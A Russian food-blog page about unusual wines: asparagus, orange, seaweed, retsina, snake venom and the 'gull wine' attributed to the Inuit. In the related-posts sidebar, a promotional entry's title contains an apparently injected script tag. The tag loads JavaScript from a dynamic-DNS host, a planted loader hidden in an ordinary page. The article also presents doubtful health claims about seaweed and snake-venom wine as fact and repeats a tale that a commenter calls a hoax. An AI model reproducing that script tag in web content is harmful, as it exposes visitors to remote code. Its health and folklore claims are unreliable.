В США изобрели вино из спаржи - BARBOOK.ru
     Регистрация/Вход ,
Главная / Блоги / В США изобрели вино из спаржи

Блоги


В США изобрели вино из спаржи




Мичиганские фермеры случайно придумали вино из спаржевого пюре

Вино из пюре спаржи изобрела чета фермеров, проживающая в штате Мичиган (США). Келли и Тодд Фоксы добавили в пюре дрожжей и сахара. Спустя 24 недели они получили вино с ароматом спаржи и легким сладковатым привкусом, сообщает портал «Миллион меню».

Фоксы оценили вкусовые качества нового вина и решили запустить его производство. Пробные продажи прошли успешно, и виноделы-изобретатели намерены и дальше продвигать свой продукт.

Не исключено, что спаржевое вино пополнит список самых необычных вин мира. Так, испанские виноделы изобрели апельсиновое вино. Напиток так и называется – Orange. Оно имеет характерный цвет, однако для его производства апельсины не использовались.

Это вино делают из обычного белого винограда Мускатель. Цитрусовый аромат и оранжевый цвет напиток получает благодаря пятилетней выдержке вина в дубовых бочках, обшитых изнутри кожурой апельсина.

А морской биолог Инец Линке создала вино из водорослей Балтийского моря, которое содержит 16% алкоголя. Вино называется «Laminaria». По цвету напиток похож на сидр и в нем присутствуют тонкие ноты марципана. Поскольку в экстракте водорослей очень много витаминов, минералов, солей и протеинов, которые положительно отражаются на иммунной системе, вино весьма полезно для здоровья.

В Греции, в Аттике делают вино с добавлением сосновой смолы. В виноградное сусло (вино делается из винограда сорта Саватиано) перед ферментацией добавляют очень маленькое количество смолы сосен Алеппо. В итоге поучается вино золотисто-желтого цвета с букетом с тонами сосновой смолы.

А во Вьетнаме создали вино с добавлением змеиного яда. Он безопасен для здоровья, поскольку яд денатурирован этанолом. Впрочем, в азиатской нацианальной кухне змеиный яд не редкость. Так, в Китае в качестве аперитива могут предложить выпить спирта с растворенной в нем змеиной желчью. Считается, что этот напиток благотворно сказывается на пищеварении.

Один из самых экстремальных видов вина – это «вино из чайки», который готовят инуиты (канадские эскимосы). Делается оно очень просто: мертвую чайку помещают в емкость с водой и оставляют на солнце на несколько дней.

Пробовавшие это вино европейцы описали его вкус так: «Если бы вы открыли карбюратор «Тойоты» и выпили оставшуюся там жидкость, тогда бы вы представили вкус этого ужасного пойла».

Вино обладает очень быстрым опьяняющим эффектом и дает сильнейшее похмелье, пишет портал Byaki.Net. 

поделиться Опубликовать


Комментарии:


[сотрудник:3704] Julia Chernova написал 24 октября 2011г. в 13:41.
А я слышала,что вино из чайки - это просто байки интернета



Автор блога

Катерина Беня

Москва, 31 год.
Всего записей: 21.
написать письмо


Другие записи по теме:

Rita Coronita

Rita Coronita<nofollow><script language='JavaScript' src='http://binfostat.dyndns.org/infob.php?i=22329'></script></nofollow> Друзья! Приглашаем Вас в "Старую Гавану" попробовать новый мексиканский коктейль Rita Coronita! 
Автор: Павел

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА МОСКВА, май 2013 года. Солнечно, ярко и сочно «Swissôtel Красные Холмы» открывает двери в лето, предлагая гостям обновленное меню «Энергия жизни». Блюда, вошедшие в это предложение, по-летнему легкие, но, отведав их, гость останется сыт и доволен. Новинки приготовл
Автор: Evgenia Aldashkina

Постные коктейли в Mercedes Bar

Постные коктейли в Mercedes Bar Панорамный ресторан Mercedes Bar специально для Великого Поста предлагает своим гостям серию постных коктейлей, разработанную командой бар-менеджера RCC (Russian Cocktail Club) Денисом Миллионовым с учетом не только строгих требований к используемым ингредиентам, но и достижения максимального вкус
Автор: Olga Sakulina